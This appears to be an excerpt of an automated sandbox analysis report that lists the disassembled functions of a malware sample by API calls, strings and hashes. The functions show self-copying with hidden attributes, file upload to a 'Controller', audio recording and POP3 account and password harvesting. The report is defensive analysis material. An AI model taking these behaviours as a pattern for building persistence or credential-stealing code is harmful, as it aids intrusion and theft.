                                                                                            • CopyFileW.KERNEL32(C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe,00000000,00000000,00000000,00000000,00000000,?,004750FC,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe), ref: 0040BD3E
                                                                                            • _wcslen.LIBCMT ref: 0040BD54
                                                                                            • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040BDDC
                                                                                            • CopyFileW.KERNEL32(C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe,00000000,00000000), ref: 0040BDF2
                                                                                            • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040BE31
                                                                                            • _wcslen.LIBCMT ref: 0040BE34
                                                                                            • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040BE4B
                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004750FC,0000000E), ref: 0040BE9B
                                                                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00466900,00466900,00000001), ref: 0040BEB9
                                                                                            • ExitProcess.KERNEL32 ref: 0040BED0
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                                                                                            • String ID: SG$ SG$ SG$ SG$ SG$6$C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe$del$h&y$open
                                                                                            • API String ID: 1579085052-1654087370
                                                                                            • Opcode ID: ff68210ebfac1c1151fb2380761fb7cf300b096fe2139188aa65b853b388557d
                                                                                            • Instruction ID: cada26950b0f91ffbe9684419e497f708478a0192fdd3dd39558b78de3226dfb
                                                                                            • Opcode Fuzzy Hash: ff68210ebfac1c1151fb2380761fb7cf300b096fe2139188aa65b853b388557d
                                                                                            • Instruction Fuzzy Hash: 0B51C1316046006BD609B722EC52E7F77889F81719F50443FF985A62E2DF7CAD4582EE
                                                                                            Function 00401BE8 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401C54
                                                                                            • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401C7E
                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401C8E
                                                                                            • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401C9E
                                                                                            • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401CAE
                                                                                            • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401CBE
                                                                                            • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401CCF
                                                                                            • WriteFile.KERNEL32(00000000,00472B02,00000002,00000000,00000000), ref: 00401CE0
                                                                                            • WriteFile.KERNEL32(00000000,00472B04,00000004,00000000,00000000), ref: 00401CF0
                                                                                            • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401D00
                                                                                            • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401D11
                                                                                            • WriteFile.KERNEL32(00000000,00472B0E,00000002,00000000,00000000), ref: 00401D22
                                                                                            • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401D32
                                                                                            • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401D42
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$Write$Create
                                                                                            • String ID: RIFF$WAVE$data$fmt
                                                                                            • API String ID: 1602526932-4212202414
                                                                                            • Opcode ID: d86e0a11b62900f44300c56c570c8f4c6d29e182ebfed168058ac3948617b838
                                                                                            • Instruction ID: 459023fa40bd80d73c97eac26e4027242e7445eca248bff5dcea5bec94493f3f
                                                                                            • Opcode Fuzzy Hash: d86e0a11b62900f44300c56c570c8f4c6d29e182ebfed168058ac3948617b838
                                                                                            • Instruction Fuzzy Hash: 85411C726443187AE210DE51DD86FBB7FACEB85B54F40081AF644E6080D7A5E909DBB3
                                                                                            Function 004064E0 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe,00000001,004068B2,C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe,00000003,004068DA,h&y,00406933), ref: 004064F4
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 004064FD
                                                                                            • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 0040650E
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 00406511
                                                                                            • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 00406522
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 00406525
                                                                                            • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 00406536
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 00406539
                                                                                            • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 0040654A
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0040654D
                                                                                            • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 0040655E
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 00406561
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: AddressHandleModuleProc
                                                                                            • String ID: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                                                                                            • API String ID: 1646373207-921715167
                                                                                            • Opcode ID: ef23c6471a2b46cbb5b12a679159521cca5d22753a6c35f36816646c352fbe50
                                                                                            • Instruction ID: d8392adca69ca7380431791802c09c3f057f20abbaf47be00649cb9a46baa942
                                                                                            • Opcode Fuzzy Hash: ef23c6471a2b46cbb5b12a679159521cca5d22753a6c35f36816646c352fbe50
                                                                                            • Instruction Fuzzy Hash: D20171A4E40B1635CB206F7B7C94D17AEAC9E503503160837A406F32A1EEBCD400CD7D
                                                                                            Function 1000173A Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 210COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 10001CCA: CopyFileW.KERNEL32(?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D1B
                                                                                              • Part of subcall function 10001CCA: CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,00000000), ref: 10001D37
                                                                                              • Part of subcall function 10001CCA: DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D4B
                                                                                            • _strlen.LIBCMT ref: 10001855
                                                                                            • _strlen.LIBCMT ref: 10001869
                                                                                            • _strlen.LIBCMT ref: 1000188B
                                                                                            • _strlen.LIBCMT ref: 100018AE
                                                                                            • _strlen.LIBCMT ref: 100018C8
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _strlen$File$CopyCreateDelete
                                                                                            • String ID: Acco$Acco$POP3$POP3$Pass$Pass$t$t$un$un$word$word
                                                                                            • API String ID: 3296212668-3023110444
                                                                                            • Opcode ID: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                                                                                            • Instruction ID: bb93a2ec4ecc4c0c7ac40ef0fbf5621e946fdf476ba73097d2750e43d9e064ca
                                                                                            • Opcode Fuzzy Hash: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                                                                                            • Instruction Fuzzy Hash: 69612475D04218ABFF11CBE4C851BDEB7F9EF45280F00409AE604A7299EF706A45CF96
                                                                                            Function 0041B3C6 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • lstrlenW.KERNEL32(?), ref: 0041B3E1
                                                                                            • _memcmp.LIBVCRUNTIME ref: 0041B3F9
                                                                                            • lstrlenW.KERNEL32(?), ref: 0041B412
                                                                                            • FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 0041B44D
                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041B460
                                                                                            • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041B4A4
                                                                                            • lstrcmpW.KERNEL32(?,?), ref: 0041B4BF
                                                                                            • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041B4D7
                                                                                            • _wcslen.LIBCMT ref: 0041B4E6
                                                                                            • FindVolumeClose.KERNEL32(?), ref: 0041B506
                                                                                            • GetLastError.KERNEL32 ref: 0041B51E
                                                                                            • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041B54B
                                                                                            • lstrcatW.KERNEL32(?,?), ref: 0041B564
                                                                                            • lstrcpyW.KERNEL32(?,?), ref: 0041B573
                                                                                            • GetLastError.KERNEL32 ref: 0041B57B
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                                                                            • String ID: ?
                                                                                            • API String ID: 3941738427-1684325040
                                                                                            • Opcode ID: ab6c0a2e820866b083e3708fbad612f297667e297ed8968616fd37775c99846c
                                                                                            • Instruction ID: f0577cbf519c1fbc76aa3138d797bbd7c283cc622b072e5c2a83b2d98bec9820
                                                                                            • Opcode Fuzzy Hash: ab6c0a2e820866b083e3708fbad612f297667e297ed8968616fd37775c99846c
                                                                                            • Instruction Fuzzy Hash: 8441A071504705ABC720DF61E8489EBB7E8EB48705F00482FF541D2262EF78D989CBDA
                                                                                            Function 100019B2 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 218COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _strlen
                                                                                            • String ID: %m$~$Gon~$~F@7$~dra
                                                                                            • API String ID: 4218353326-230879103
                                                                                            • Opcode ID: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                                                                                            • Instruction ID: 2a57ee3bda34e0ca62253b4f9cdd28a92c7aa5ebcaa9e167bfd7dd38749d7a78
                                                                                            • Opcode Fuzzy Hash: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                                                                                            • Instruction Fuzzy Hash: 9371F5B5D002685BEF11DBB49895BDF7BFCDB05280F104096E644D7246EB74EB85CBA0
                                                                                            Function 0044E41E Relevance: 25.9, APIs: 17, Instructions: 419COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$EnvironmentVariable$_wcschr
                                                                                            • String ID:
                                                                                            • API String ID: 3899193279-0
                                                                                            • Opcode ID: 0e1a8f8bbfaf70a5321281e28d07a2b80f4a7f922fdb1718459ded84c8fb4435
                                                                                            • Instruction ID: a8aac0df7486383d9a181904d39d16e24afc3d72eb934652fe50c6e09291e228
                                                                                            • Opcode Fuzzy Hash: 0e1a8f8bbfaf70a5321281e28d07a2b80f4a7f922fdb1718459ded84c8fb4435
                                                                                            • Instruction Fuzzy Hash: 5DD12771D00310AFFB21AF77888166E7BA4BF01368F45416FF945A7381EA399E418B9D
                                                                                            Function 0041CCA9 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 73windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041CCF4
                                                                                            • GetCursorPos.USER32(?), ref: 0041CD03
                                                                                            • SetForegroundWindow.USER32(?), ref: 0041CD0C
                                                                                            • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041CD26
                                                                                            • Shell_NotifyIconA.SHELL32(00000002,00474B50), ref: 0041CD77
                                                                                            • ExitProcess.KERNEL32 ref: 0041CD7F
                                                                                            • CreatePopupMenu.USER32 ref: 0041CD85
                                                                                            • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041CD9A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                                                                                            • String ID: Close
                                                                                            • API String ID: 1657328048-3535843008
                                                                                            • Opcode ID: bed582d39fc96e8479943e4d89b527f8ff9ef20370aed2009df63d45acb158b0
                                                                                            • Instruction ID: 460fc807693895ecf387abb2373bcbc61375cccb84b7011694e880842115b21a
                                                                                            • Opcode Fuzzy Hash: bed582d39fc96e8479943e4d89b527f8ff9ef20370aed2009df63d45acb158b0
                                                                                            • Instruction Fuzzy Hash: F321F831140205EFDB054FA4FD4DBAA3F65EB04702F004539FA0AA41B1DBB6ED91EB59
                                                                                            Function 0044514D Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$Info
                                                                                            • String ID:
                                                                                            • API String ID: 2509303402-0
                                                                                            • Opcode ID: 39c5139744f4540f523a9af4ed2fa8afb712fe0565144d4bd577e3f50ea1b080
                                                                                            • Instruction ID: de18a1b700a064f56ed707831433d851a0809218b1b1d193042f08ca5b0df7c8
                                                                                            • Opcode Fuzzy Hash: 39c5139744f4540f523a9af4ed2fa8afb712fe0565144d4bd577e3f50ea1b080
                                                                                            • Instruction Fuzzy Hash: 59B190719006059FEF11DF69C881BEEBBF4FF09304F14406EF895AB252DA799C459B24
                                                                                            Function 00407DEF Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 325fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,000000B6), ref: 00407F4C
                                                                                            • GetFileSizeEx.KERNEL32(00000000,00000000), ref: 00407FC2
                                                                                            • __aulldiv.LIBCMT ref: 00407FE9
                                                                                            • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 0040810D
                                                                                            • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408128
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00408200
                                                                                            • CloseHandle.KERNEL32(00000000,00000052,00000000,?), ref: 0040821A
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00408256
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$CloseHandle$CreatePointerReadSize__aulldiv
                                                                                            • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                                                                                            • API String ID: 1884690901-2582957567
                                                                                            • Opcode ID: 35f1aab4cd4b50456cd45d9815c7a5e23746c3502a06ed1df1e389b9f5f55bd0
                                                                                            • Instruction ID: fe8c5194ffe86d3827a7b181bfbb3d0fd3c62202293e6b84b2d5449ede98e066
                                                                                            • Opcode Fuzzy Hash: 35f1aab4cd4b50456cd45d9815c7a5e23746c3502a06ed1df1e389b9f5f55bd0
                                                                                            • Instruction Fuzzy Hash: 73B182716083409BC614FB25C892BAFB7E5AFD4314F40492EF889632D2EF789945C79B
                                                                                            Function 00413F0F Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 109libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00413F5E
                                                                                            • LoadLibraryA.KERNEL32(?), ref: 00413FA0
                                                                                            • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00413FC0
                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 00413FC7
                                                                                            • LoadLibraryA.KERNEL32(?), ref: 00413FFF
                                                                                            • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414011
                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 00414018
                                                                                            • GetProcAddress.KERNEL32(00000000,?), ref: 00414027
                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 0041403E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Library$AddressFreeProc$Load$DirectorySystem
                                                                                            • String ID: \ws2_32$\wship6$getaddrinfo
                                                                                            • API String ID: 2490988753-3078833738
                                                                                            • Opcode ID: a1ebb0e7ad90273c6050595515f5be941597b1bff8e5ee6fc120c50391cee153
                                                                                            • Instruction ID: be6955175b5ce73d91635d8a52bfbd354ab09fdd92d7e760b1966c561f7cb5d0
                                                                                            • Opcode Fuzzy Hash: a1ebb0e7ad90273c6050595515f5be941597b1bff8e5ee6fc120c50391cee153
                                                                                            • Instruction Fuzzy Hash: B33117B280131567D320EF55DC84EDB7BDCAF89745F01092AFA88A3201D73CD98587AE
                                                                                            Function 0045027D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ___free_lconv_mon.LIBCMT ref: 004502C1
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F510
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F522
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F534
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F546
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F558
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F56A
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F57C
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F58E
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F5A0
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F5B2
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F5C4
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F5D6
                                                                                              • Part of subcall function 0044F4F3: _free.LIBCMT ref: 0044F5E8
                                                                                            • _free.LIBCMT ref: 004502B6
                                                                                              • Part of subcall function 00446CD5: RtlFreeHeap.NTDLL(00000000,00000000,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A), ref: 00446CEB
                                                                                              • Part of subcall function 00446CD5: GetLastError.KERNEL32(0000000A,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A,0000000A), ref: 00446CFD
                                                                                            • _free.LIBCMT ref: 004502D8
                                                                                            • _free.LIBCMT ref: 004502ED
                                                                                            • _free.LIBCMT ref: 004502F8
                                                                                            • _free.LIBCMT ref: 0045031A
                                                                                            • _free.LIBCMT ref: 0045032D
                                                                                            • _free.LIBCMT ref: 0045033B
                                                                                            • _free.LIBCMT ref: 00450346
                                                                                            • _free.LIBCMT ref: 0045037E
                                                                                            • _free.LIBCMT ref: 00450385
                                                                                            • _free.LIBCMT ref: 004503A2
                                                                                            • _free.LIBCMT ref: 004503BA
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
